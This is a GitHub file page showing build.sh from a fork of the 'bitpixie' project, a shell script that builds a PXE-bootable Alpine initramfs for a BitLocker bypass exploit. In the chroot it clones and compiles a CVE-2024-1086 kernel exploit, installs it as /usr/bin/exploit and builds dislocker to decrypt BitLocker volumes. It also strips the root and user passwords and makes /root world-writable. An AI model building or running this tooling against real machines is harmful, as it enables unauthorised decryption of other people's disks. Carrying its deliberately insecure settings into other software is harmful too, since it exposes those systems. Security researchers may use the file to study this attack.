forked from andigandhi/bitpixie
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbuild.sh
More file actions
executable file
·174 lines (143 loc) · 5.15 KB
/
Copy pathbuild.sh
File metadata and controls
executable file
·174 lines (143 loc) · 5.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#!/usr/bin/env bash
#
# Create initramfs for bitpixie exploit
# Based on top of https://github.com/alpinelinux/alpine-make-rootfs
#
## Common functions
out() { printf "\n\033[32;1m[+] %s \033[0m\n" "$1"; }
if [ "$1" = "-d" ] || [ "$1" = "--debug" ]; then
DEBUG="1"
elif [ -z "$1" ]; then
DEBUG="0"
else
printf 'ERROR: Unkown input.\n Usage: %s [-d|--debug]\n' "$(basename $0)"
exit 1
fi
SRC_ROOT="$PWD"
CACHE="$SRC_ROOT/.cache"
[ -d $CACHE ] || mkdir -p $CACHE # create .cache directory
out "Using $SRC_ROOT as root of operation."
## Download missing artifacts
bash -c "$SRC_ROOT/linux/download.sh $SRC_ROOT $CACHE"
# create temporary initramfs direcotry
INITRAMFS="$(mktemp -d)"
trap 'sudo rm -rf $INITRAMFS' EXIT
## Preprocessing
# Copy all relevant files
# kernel
mkdir -p $INITRAMFS/boot
cp $CACHE/vmlinuz* $INITRAMFS/boot
# copy kernel driver
cp -r $CACHE/lib $INITRAMFS
# additional pieces of rootfs files
cp -r $SRC_ROOT/linux/root/* $INITRAMFS
find $INITRAMFS -type f -name 'README.md' -delete
out "Populating temporary rootfs at $INITRAMFS..."
## Execute it and start the build process
sudo $CACHE/alpine-make-rootfs \
--branch latest-stable \
--packages 'alpine-base agetty eudev chntpw util-linux openssh doas' \
--packages 'sgdisk ntfs-3g fuse-common' \
--packages 'fuse mbedtls musl' \
--packages 'vis' \
--timezone 'Europe/Berlin' \
--script-chroot "$INITRAMFS" - <<'SHELL'
# Fail if an error occurs
set -e
# Generate modules.*.bin for modprobe
depmod $(ls /boot/vmlinuz* | cut -d "-" -f2-)
# Add services for service manager.
# See
# https://wiki.alpinelinux.org/wiki/OpenRC
# for more information.
#
# A list of available services resides in $INITRAMFS/etc/init.d
rc-update add dmesg sysinit
rc-update add hwclock boot
rc-update add modules boot
rc-update add sysctl boot
rc-update add hostname boot
rc-update add bootmisc boot
rc-update add syslog boot
rc-update add klogd boot
rc-update add networking boot
rc-update add hwdrivers boot
rc-update add sysfs boot
rc-update add procfs boot
rc-update add mount-ro shutdown
rc-update add killprocs shutdown
# Load also agetty.ttyS0 to see the kernel log during boot up in
# combination with the flag `-append "console=ttyS0"`
CONSOLE="ttyS0"
ln -s /etc/init.d/agetty /etc/init.d/agetty.$CONSOLE
rc-update add agetty.$CONSOLE default
# Show debug infos
set -x
# save start path for later to return to
ROOT="$PWD"
# Prepare build environment
build_packages="alpine-sdk" # Common development meta package
build_packages="${build_packages} cmake fuse-dev mbedtls-dev" # dislocker
apk add $build_packages
# Build cve exploit
cve="$(mktemp -d)"
git clone --single-branch https://github.com/andigandhi/CVE-2024-1086_bitpixie.git $cve
cd $cve
# Use commit d2b41205ff57 ("Added wildcard search algorithm to scan for starting bytes
# "03 20 xx 00"") as HEAD
git reset --hard d2b41205ff57
make CC=cc && cp ./exploit /usr/bin
# Build dislocker
bitlocker="$(mktemp -d)"
git clone --single-branch https://github.com/Aorimn/dislocker.git $bitlocker
cd $bitlocker
# Use commit 3e7aea196eaa ("Merge pull request #317 from
# JunielKatarn/macos") as HEAD
git reset --hard 3e7aea196eaa
cmake -S ./ && make && make install
# Cleanup build environment
apk del $build_packages
## Postprocessing
cd $ROOT
# Add new non-root user.
NAME="bitpix"
addgroup ${NAME}
adduser -s /bin/sh -h /home/${NAME} -u 1000 -D -G ${NAME} ${NAME}
addgroup bitpix wheel # add new user to group wheel
chmod -R 777 /root
chown root:root /etc/doas.conf
# Delete password(s)
passwd -d root
passwd -d ${NAME}
SHELL
# Exit prematurely if alpine-make-rootfs fails
if [ "$?" = "1" ]; then
if [ "$DEBUG" = "1" ]; then
trap - EXIT
out "Kept temporary rootfs at $INITRAMFS."
fi
exit 1
fi
if [ "$DEBUG" = "1" ]; then
COMPRESS="gzip"
FILE_EXTENSION="gz"
else
# Use a compression algorithm to compress to the most possible (because the
# initramfs needs to be loaded via PXE)
COMPRESS="xz -z -C crc32 -9 --threads=0 -c -"
FILE_EXTENSION="xz"
fi
OUTPUT="$SRC_ROOT/pxe-server/bitpixie-initramfs"
# Just for correct logging for user
RELATIVE_OUTPUT="$(realpath --relative-to $SRC_ROOT $OUTPUT)"
out "Creating initramfs $RELATIVE_OUTPUT from temporary rootfs at $INITRAMFS..."
# Note: Needs to be run as root because all files in the rootfs are chowned by root
(cd $INITRAMFS; sudo bash -c "find . | cpio -o -H newc | $COMPRESS") > $OUTPUT
out "Created initramfs $RELATIVE_OUTPUT with file extension ${FILE_EXTENSION} at $(dirname $OUTPUT)."
if [ "$DEBUG" = "1" ]; then
# Deactivate deletion of INITRAMFS
trap - EXIT
out "Kept temporary rootfs at $INITRAMFS"
else
out "Deleted $INITRAMFS."
fi